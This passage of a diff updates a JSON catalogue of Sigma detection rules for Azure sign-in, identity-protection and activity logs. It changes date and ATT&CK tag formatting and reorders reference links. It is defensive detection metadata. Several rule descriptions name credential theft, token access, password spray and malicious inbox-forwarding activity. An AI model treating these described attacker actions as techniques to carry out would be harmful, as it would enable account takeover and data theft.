"https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_conditional_access_failure.yml" ], "tags": [ - "attack.initial_access", - "attack.credential_access", + "attack.initial-access", + "attack.credential-access", "attack.t1110", "attack.t1078.004" ] @@ -94260,7 +94556,7 @@ "description": "Detect failed authentications from countries you do not operate out of.", "meta": { "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/07/28", + "creation_date": "2022-07-28", "falsepositive": [ "If this was approved by System Administrator." ], @@ -94273,8 +94569,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml" ], "tags": [ - "attack.initial_access", - "attack.credential_access", + "attack.initial-access", + "attack.credential-access", "attack.t1078.004", "attack.t1110" ] @@ -94302,7 +94598,7 @@ "description": "Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.", "meta": { "author": "Michael Epping, '@mepples21'", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -94315,7 +94611,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_sign_ins_from_unknown_devices.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1078.004" ] }, @@ -94335,7 +94631,7 @@ "description": "Detects when sign-ins increased by 10% or greater.", "meta": { "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1'", - "creation_date": "2022/08/11", + "creation_date": "2022-08-11", "falsepositive": [ "Unlikely" ], @@ -94348,7 +94644,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_auth_failure_increase.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1078" ] }, @@ -94368,7 +94664,7 @@ "description": "Detects when there is a interruption in the authentication process.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/26", + "creation_date": "2021-11-26", "falsepositive": [ "Unknown" ], @@ -94381,7 +94677,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_unusual_authentication_interruption.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078" ] }, @@ -94401,7 +94697,7 @@ "description": "Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.", "meta": { "author": "AlertIQ", - "creation_date": "2021/10/10", + "creation_date": "2021-10-10", "falsepositive": [ "Unknown" ], @@ -94414,7 +94710,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_account_lockout.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1110" ] }, @@ -94434,7 +94730,7 @@ "description": "Detect failed attempts to sign in to disabled accounts.", "meta": { "author": "AlertIQ", - "creation_date": "2021/10/10", + "creation_date": "2021-10-10", "falsepositive": [ "Unknown" ], @@ -94447,7 +94743,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_login_to_disabled_account.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078.004" ] }, @@ -94467,7 +94763,7 @@ "description": "Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments.\nIf this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted.\nThis can be a misconfigured application or potentially something malicious.\n", "meta": { "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "creation_date": "2022/06/01", + "creation_date": "2022-06-01", "falsepositive": [ "Applications that are input constrained will need to use device code flow and are valid authentications." ], @@ -94481,10 +94777,10 @@ ], "tags": [ "attack.t1078", - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", - "attack.initial_access" + "attack.privilege-escalation", + "attack.initial-access" ] }, "related": [ @@ -94503,7 +94799,7 @@ "description": "Detects when an account is disabled or blocked for sign in but tried to log in", "meta": { "author": "Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/06/17", + "creation_date": "2022-06-17", "falsepositive": [ "Account disabled or blocked in error", "Automation account has been blocked or disabled" @@ -94517,7 +94813,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_blocked_account_attempt.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078.004" ] }, @@ -94537,7 +94833,7 @@ "description": "User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.", "meta": { "author": "AlertIQ", - "creation_date": "2022/03/24", + "creation_date": "2022-03-24", "falsepositive": [ "Users actually login but miss-click into the Deny button when MFA prompt." ], @@ -94550,8 +94846,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_mfa_denies.yml" ], "tags": [ - "attack.initial_access", - "attack.credential_access", + "attack.initial-access", + "attack.credential-access", "attack.t1078.004", "attack.t1110", "attack.t1621" @@ -94587,7 +94883,7 @@ "description": "Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.", "meta": { "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/06/30", + "creation_date": "2022-06-30", "falsepositive": [ "If this was approved by System Administrator." ], @@ -94600,7 +94896,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_users_authenticating_to_other_azure_ad_tenants.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078.004" ] }, @@ -94620,7 +94916,7 @@ "description": "Monitor and alert for device registration or join events where MFA was not performed.", "meta": { "author": "Michael Epping, '@mepples21'", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -94633,7 +94929,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_device_registration_or_join_without_mfa.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1078.004" ] }, @@ -94653,7 +94949,7 @@ "description": "Detect when authentications to important application(s) only required single-factor authentication", "meta": { "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/07/28", + "creation_date": "2022-07-28", "falsepositive": [ "If this was approved by System Administrator." ], @@ -94666,7 +94962,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_auth_to_important_apps_using_single_factor_auth.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078" ] }, @@ -94686,7 +94982,7 @@ "description": "Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user." ], @@ -94702,9 +94998,9 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.initial_access" + "attack.defense-evasion", + "attack.privilege-escalation", + "attack.initial-access" ] }, "related": [ @@ -94723,7 +95019,7 @@ "description": "Indicates the SAML token issuer for the associated SAML token is potentially compromised. The claims included in the token are unusual or match known attacker patterns", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user." ], @@ -94732,13 +95028,13 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#token-issuer-anomaly", "https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins", + "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#token-issuer-anomaly", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_token_issuer_anomaly.yml" ], "tags": [ "attack.t1606", - "attack.credential_access" + "attack.credential-access" ] }, "related": [ @@ -94757,7 +95053,7 @@ "description": "Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "Connecting to a VPN, performing activity and then dropping and performing additional activity." ], @@ -94766,16 +95062,16 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#impossible-travel", "https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins", + "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#impossible-travel", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_impossible_travel.yml" ], "tags": [ "attack.t1078", "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.initial_access" + "attack.defense-evasion", + "attack.privilege-escalation", + "attack.initial-access" ] }, "related": [ @@ -94794,7 +95090,7 @@ "description": "Indicates access attempt to the PRT resource which can be used to move laterally into an organization or perform credential theft", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/07", + "creation_date": "2023-09-07", "falsepositive": [ "This detection is low-volume and is seen infrequently in most organizations. When this detection appears it's high risk, and users should be remediated." ], @@ -94803,13 +95099,13 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#possible-attempt-to-access-primary-refresh-token-prt", "https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins", + "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#possible-attempt-to-access-primary-refresh-token-prt", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_prt_access.yml" ], "tags": [ "attack.t1528", - "attack.credential_access" + "attack.credential-access" ] }, "related": [ @@ -94828,7 +95124,7 @@ "description": "Indicates sign-in from a malicious IP address known to be malicious at time of sign-in.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/07", + "creation_date": "2023-09-07", "falsepositive": [ "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user." ], @@ -94837,13 +95133,13 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malicious-ip-address", "https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins", + "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malicious-ip-address", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_malicious_ip_address_suspicious.yml" ], "tags": [ "attack.t1090", - "attack.command_and_control" + "attack.command-and-control" ] }, "related": [ @@ -94862,7 +95158,7 @@ "description": "Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location.", "meta": { "author": "Mark Morowczynski '@markmorow'", - "creation_date": "2023/08/07", + "creation_date": "2023-08-07", "falsepositive": [ "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user." ], @@ -94871,13 +95167,13 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anomalous-token", "https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins", + "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anomalous-token", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_anomalous_token.yml" ], "tags": [ "attack.t1528", - "attack.credential_access" + "attack.credential-access" ] }, "related": [ @@ -94896,7 +95192,7 @@ "description": "Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user." ], @@ -94912,9 +95208,9 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.initial_access" + "attack.defense-evasion", + "attack.privilege-escalation", + "attack.initial-access" ] }, "related": [ @@ -94933,7 +95229,7 @@ "description": "Indicates sign-in from a malicious IP address based on high failure rates.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/07", + "creation_date": "2023-09-07", "falsepositive": [ "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user." ], @@ -94942,13 +95238,13 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malicious-ip-address", "https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins", + "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malicious-ip-address", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_malicious_ip_address.yml" ], "tags": [ "attack.t1090", - "attack.command_and_control" + "attack.command-and-control" ] }, "related": [ @@ -94967,7 +95263,7 @@ "description": "Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user." ], @@ -94976,8 +95272,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anomalous-user-activity", "https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins", + "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anomalous-user-activity", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_anomalous_user.yml" ], "tags": [ @@ -95001,7 +95297,7 @@ "description": "Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user." ], @@ -95017,9 +95313,9 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.initial_access" + "attack.defense-evasion", + "attack.privilege-escalation", + "attack.initial-access" ] }, "related": [ @@ -95038,7 +95334,7 @@ "description": "Indicates suspicious rules such as an inbox rule that forwards a copy of all emails to an external address", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "A legitimate forwarding rule." ], @@ -95047,13 +95343,13 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-inbox-forwarding", "https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins", + "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-inbox-forwarding", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_inbox_forwarding_rule.yml" ], "tags": [ "attack.t1140", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -95072,7 +95368,7 @@ "description": "Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "User changing to a new device, location, browser, etc." ], @@ -95088,9 +95384,9 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.initial_access" + "attack.defense-evasion", + "attack.privilege-escalation", + "attack.initial-access" ] }, "related": [ @@ -95109,7 +95405,7 @@ "description": "Indicates user activity that is unusual for the user or consistent with known attack patterns.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/07", + "creation_date": "2023-09-07", "falsepositive": [ "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user." ], @@ -95126,9 +95422,9 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.initial_access" + "attack.defense-evasion", + "attack.privilege-escalation", + "attack.initial-access" ] }, "related": [ @@ -95147,7 +95443,7 @@ "description": "Indicates that the user's valid credentials have been leaked.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "A rare hash collision." ], @@ -95156,8 +95452,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#leaked-credentials", "https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins", + "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#leaked-credentials", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_leaked_credentials.yml" ], "tags": [ @@ -95181,7 +95477,7 @@ "description": "Indicates sign-ins from IP addresses infected with malware that is known to actively communicate with a bot server.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "Using an IP address that is shared by many users" ], @@ -95196,7 +95492,7 @@ ], "tags": [ "attack.t1090", - "attack.command_and_control" + "attack.command-and-control" ] }, "related": [ @@ -95215,7 +95511,7 @@ "description": "Detects suspicious rules that delete or move messages or folders are set on a user's inbox.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "Actual mailbox rules that are moving items based on their workflow." ], @@ -95224,13 +95520,13 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-inbox-manipulation-rules", "https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins", + "https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-inbox-manipulation-rules", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_inbox_manipulation.yml" ], "tags": [ "attack.t1140", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -95249,7 +95545,7 @@ "description": "Indicates that a password spray attack has been successfully performed.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user." ], @@ -95264,7 +95560,7 @@ ], "tags": [ "attack.t1110", - "attack.credential_access" + "attack.credential-access" ] }, "related": [ @@ -95283,7 +95579,7 @@ "description": "Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN.", "meta": { "author": "Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/08/22", + "creation_date": "2023-08-22", "falsepositive": [ "We recommend investigating the sessions flagged by this detection in the context of other sign-ins" ], @@ -95298,7 +95594,7 @@ ], "tags": [ "attack.t1528", - "attack.credential_access" + "attack.credential-access" ] }, "related": [ @@ -95317,7 +95613,7 @@ "description": "Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/03", + "creation_date": "2023-09-03", "falsepositive": [ "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user." ], @@ -95333,9 +95629,9 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.initial_access" + "attack.defense-evasion", + "attack.privilege-escalation", + "attack.initial-access" ] }, "related": [ @@ -95354,7 +95650,7 @@ "description": "Identifies the deletion of Azure Kubernetes Pods.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", + "creation_date": "2021-07-24", "falsepositive": [ "Pods may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Pods deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -95379,7 +95675,7 @@ "description": "Detects when a Container Registry is created or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", + "creation_date": "2021-08-07", "falsepositive": [ "Container Registry being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Container Registry created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -95389,11 +95685,11 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_container_registry_created_or_deleted.yml" ], "tags": [ @@ -95407,7 +95703,7 @@ "description": "Identifies when a service principal is created in Azure.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/02", + "creation_date": "2021-09-02", "falsepositive": [ "Service principal being created may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -95422,7 +95718,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_service_principal_created.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "0ddcff6d-d262-40b0-804b-80eb592de8e3", @@ -95432,7 +95728,7 @@ "description": "Identifies when ClusterRoles/Roles are being modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", + "creation_date": "2021-08-07", "falsepositive": [ "ClusterRoles/Roles being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "ClusterRoles/Roles modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -95442,11 +95738,11 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_role_access.yml" ], "tags": [ @@ -95460,7 +95756,7 @@ "description": "Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", + "creation_date": "2021-08-07", "falsepositive": [ "Sensitive objects may be accessed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Sensitive objects accessed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], @@ -95469,11 +95765,11 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_secret_or_config_object_access.yml" ], "tags": [ @@ -95487,7 +95783,7 @@ "description": "Identifies when secrets are modified or deleted in Azure.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/16", + "creation_date": "2021-08-16", "falsepositive": [ "Secrets being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -95503,7 +95799,7 @@ ], "tags": [ "attack.impact", - "attack.credential_access", + "attack.credential-access", "attack.t1552", "attack.t1552.001" ] @@ -95531,7 +95827,7 @@ "description": "Identifies when a application is deleted in Azure.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/03", + "creation_date": "2021-09-03", "falsepositive": [ "Application being deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -95546,7 +95842,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_application_deleted.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.impact", "attack.t1489" ] @@ -95567,7 +95863,7 @@ "description": "Identifies when a owner is was removed from a application or service principal in Azure.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/03", + "creation_date": "2021-09-03", "falsepositive": [ "Owner being removed may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -95582,7 +95878,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_owner_removed_from_application_or_service_principal.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "636e30d5-3736-42ea-96b1-e6e2f8429fd6", @@ -95592,7 +95888,7 @@ "description": "Identifies when a device or device configuration in azure is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/03", + "creation_date": "2021-09-03", "falsepositive": [ "Device or device configuration being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -95635,7 +95931,7 @@ "description": "Identifies when a service principal was removed in Azure.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/03", + "creation_date": "2021-09-03", "falsepositive": [ "Service principal being removed may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -95650,7 +95946,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_service_principal_removed.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "448fd1ea-2116-4c62-9cde-a92d120e0f08", @@ -95660,7 +95956,7 @@ "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/26", + "creation_date": "2021-11-26", "falsepositive": [ "If this was approved by System Administrator." ], @@ -95673,7 +95969,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_subscription_permissions_elevation_via_activitylogs.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078.004" ] }, @@ -95693,7 +95989,7 @@ "description": "Identifies when a Virtual Network is modified or deleted in Azure.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", + "creation_date": "2021-08-08", "falsepositive": [ "Virtual Network being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Virtual Network modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -95717,7 +96013,7 @@ "description": "Identifies when a Firewall Rule Configuration is Modified or Deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", + "creation_date": "2021-08-08", "falsepositive": [ "Firewall Rule Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Firewall Rule Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -95741,7 +96037,7 @@ "description": "This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service.\nA threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server.\nThis can be done programmatically via HTTP requests to Azure.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/08/26", + "creation_date": "2021-08-26", "falsepositive": [ "Legitimate AD FS servers added to an AAD Health AD FS service instance" ], @@ -95754,7 +96050,7 @@ 